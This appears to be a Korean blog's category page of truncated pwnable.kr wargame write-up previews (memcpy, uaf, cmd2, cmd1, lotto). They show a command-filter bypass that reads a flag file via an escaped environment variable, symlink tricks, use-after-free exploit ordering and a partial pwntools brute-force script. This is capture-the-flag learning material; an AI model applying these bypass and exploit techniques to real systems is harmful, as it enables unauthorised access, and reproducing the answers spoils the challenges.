Pwnable.kr 17

[pwnable.kr] memcpy

mmap()호출은 fd가 가리키는 객체를 파일에서 offset바이트 지점을 기준으로 len 바이트만큼 메모리에 매핑하도록 커널에 요청한다. addr을 넘길 경우, 메모리에서 해당 시작 주소를 선호한다고 커널에게 알린다. 접근 권한은 prot에 지정하고, 추가적인 동작 방식은 flag에 지정한다. #include void * mmap(void * addr, size_t len, int prot, int flags, int fd, off_t offset); * return 값 : 맵핑이 시작하는 실제 메모리 주소 void* : void 포인터 = 범용 포인터. 자료형이 정해지지 않았기 때문에 어떤 자료형으로 된 포인터든 모두 저장할 수 있음. 즉, 직접 자료형을 변환해주지 않아도 암시적으로 자료형이 변환되는..

System Hacking 2020.01.09

[pwnable.kr] uaf

0x0000000000400fb5 : cmp eax,0x2 0x0000000000400fb8 : je 0x401000 #case2 0x0000000000400fba : cmp eax,0x3 0x0000000000400fbd : je 0x401076 #case3 0x0000000000400fc3 : cmp eax,0x1 0x0000000000400fc6 : je 0x400fcd #case1 0x0000000000400fc8 : jmp 0x4010a9 #default 1.use # introduce()함수 호출 2.after # new(동적할당) 3.free #delete(=free) 이미 동적할당이 돼있으므로 순서는 3->2->1 + 2번에서의 동적할당이 한번이므로 exploit할때는 3->2->2->1 ..

System Hacking 2020.01.09

[pwnable.kr] cmd2

/tmp/bigfrog에서, ln -s /home/cmd2/flag f_file ln -s /home/cmd2/cmd2 cmd2 -실행은 /tmp쪽에서 하는데 flag랑 cmd2실행을 둘 다 tmp쪽에서 할거라서. \문자를 우회해야되니까 심볼릭 링크로 만들어준다. http://manpages.ubuntu.com/manpages/xenial/man7/bash-builtins.7.html 우분투 맨페이지 위를 참고하여, command명령어 부분이 If the -p option is given, the search for command is performed using a default value for PATH that is guaranteed to find all of the standard utiliti..

System Hacking 2020.01.09

[pwnable.kr] cmd1

환경변수 설정 방법에 대한 문제. 공격1. 와일드카드(*)를 이용한 우회 공격2. 환경변수 설정 export x=/home/cmd1/flag ./cmd1 "/bin/cat \$x" 처음 풀 때는 \$x가 아니라 $x로 썼는데, 이러면 필터함수에 걸린다. $같은경우에는 문자그대로 $를 표시하기 위해서는 \$를 써야 하고, $x로 쓰면 환경변수를 불러오기 때문에.. 프로그램을 돌리는 순간 이미 /bin/cat /home/cmd1/flag 로 바뀔 것이다. 그래서 필터 함수에 걸리는 거고.. 근데 \$x로 쓰게 되면 문자 그대로의 $x가 나오기 때문에 필터 함수의 인자로는 /bin/cat $x가 들어가고, 필터함수가 끝나고 시스템함수에는 /bin/cat $x가 인자로 들어가게 되는데 이는 실행하면 /bin/c..

System Hacking 2020.01.09

[pwnable.kr] lotto

exploit코드를 /tmp에 디렉토리만들고 짜고, 심볼릭링크로 flag 걸어주고 익스플로잇 성공. 코드 취약점이 있었음. for문을 6번만 돌려야 하는데 36번 돌리면서 1가지 숫자만 알더라도 뚫을 수 있음. 노가다해도되는데 pwntool 연습할겸 코드 짜서 넣었고, 금방 exploit성공 from pwn import * target = process("/home/lotto/lotto") for i in range(20): print(target.recvuntil("3. Exit\n")) target.sendline(str(1)) print(target.recvuntil("Submit your 6 lotto bytes : ")) msg = "######" target.sendline(str(msg)) ..

System Hacking 2020.01.09